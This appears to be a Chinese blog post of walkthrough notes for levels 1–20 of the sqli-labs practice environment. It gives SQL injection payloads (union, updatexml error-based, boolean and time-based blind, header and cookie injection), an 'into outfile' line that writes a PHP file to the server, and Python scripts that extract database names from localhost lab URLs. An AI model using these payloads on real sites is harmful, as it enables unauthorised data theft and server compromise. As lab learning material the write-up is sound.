【sqli-lab心得】1-22关

第一关

刚安装好 发现写入引号没有报错 原来是忘记关闭magic_quote_gpc了

发现注释符--无法注释掉后面的代码,任然报错,用--+替代解决了,--之所以无法注释掉,是因为与后面的引号连在一起了,而+作空格的作用,把它隔开

常规注入table_name返回Subquery returns more than 1 row,则说明需要改成group_concat(table_name)

账号密码一起注入 group_concat(username,'~',password)

第二关

不需要闭合单引号,这是与第一关的不同,因为第一关参数是字符串型,而第二关是整数型,其他步骤一模一样

第三关

是('id')的形式,提交参数id=-1') union select 1,database(),3%23就行,其他一样

第四关

是("id")的形式,提交参数id=-1“) union select 1,database(),3%23就行,其他一样

第五关

数据不回显,用报错注入updatexml(1,concat(0x7e,(select database())),0)即可

第六关

把第五关的单引号改双引号,其他不变

第七关

按要求玩,肯定是union select 1,2,'<? phpinfo();?>' into outfile "目录名\\new.php",记住是用\\,不过要注意数据库有没有开启secure_file_priv,用命令union select @@global.secure_file_priv查看,注意返回NULL为禁用,

但是我打算换一种玩法

由于是(('id'))的形式,所以'))双重闭合,但是发现不回显,也不能报错注入,只能使用布尔型注入1'))  and if((substr(database(),1,1)='s'),1,0)%23,这个肯定得跑字典的,写个python自动注入吧,我加了sleep延迟注入,poc如下

import requests

from requests.sessions import Request

dic = 'abcdefghijklmnopqrstuvwxyz'

flag = ''

for i in range(1,10):

    for x in dic:

        try:

            requests.get("http://localhost/sql/Less-7/?id=1')) or if((substr(database() from "+str(i)+" for 1)='"+x+"'),sleep(4),0) %23",timeout=3)

        except requests.exceptions.ReadTimeout as e:

            flag += x

            print(flag)

            break

print(flag)

第八关

把上面的url从id=1'))改成id=1'后,一模一样

第九关

同第八关

第十关

把单引号改成双引号,同上

第十一关

基本原理:账号提交admin' and  (select case when (substr(database(),1,1)='s') then sleep(3) else 0 end)#   【其实updatexml也行】

写个poc:

import requests

from requests.sessions import Request

dic = 'abcdefghijklmnopqrstuvwxyz'

flag = ''

for i in range(1,10):

    for x in dic:

        sql = "admin' and  (select case when (substr(database(),%d,1)='%s') then sleep(3) else 0 end)#"%(i,x)

        data = {'uname':sql,'passwd':''}

        try:

            requests.post("http://localhost/sql/Less-11/",data,timeout=3)

        except requests.exceptions.ReadTimeout as e:

            flag += x

            print(flag)

            break

print(flag)

第十二关

除了用双引号闭合外,其他和十一区别不大

poc:

import requests

from requests.sessions import Request

dic = 'abcdefghijklmnopqrstuvwxyz'

flag = ''

for i in range(1,10):

    for x in dic:

        sql = 'admin") and (select case when (ascii(substr(database(),%d,1))=%d) then sleep(3) else 0 end)#'%(i,ord(x))

        data = {'uname':sql,'passwd':''}

        try:

            requests.post("http://localhost/sql/Less-12/",data,timeout=3)

        except requests.exceptions.ReadTimeout as e:

            flag += x

            print(flag)

            break

print(flag)

第十三关

同上,把双引号改单引即可

第十四关

同上,把')改为"即可

第十五关

同上,把"改为'即可

第十六关

加了单引号和双引号都没有结果,直到输入admin") and sleep(3)#

poc同上,把"后买加)即可

十七关

这道题卡住了,看到密码单引号报错了,猜出来了是密码没过滤,但是布尔注入和延时注入,但是好像对update的sql语句无效,百度别人的解法,用了updatexml

十八关

卡住了,太急了,没有好好做,登陆后看到user-agent,可以知道这是注入点,注入'#无效,直到注入两个单引号才成功,用updatexml做,新玩法:' or updatexml(1,concat(0x7e,(select concat_ws(username,password) from (select username,password from users)text limit 0,1)),0) or '

十九关

同上,不过注入点在referer

二十关

同上,注入点在cookie

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值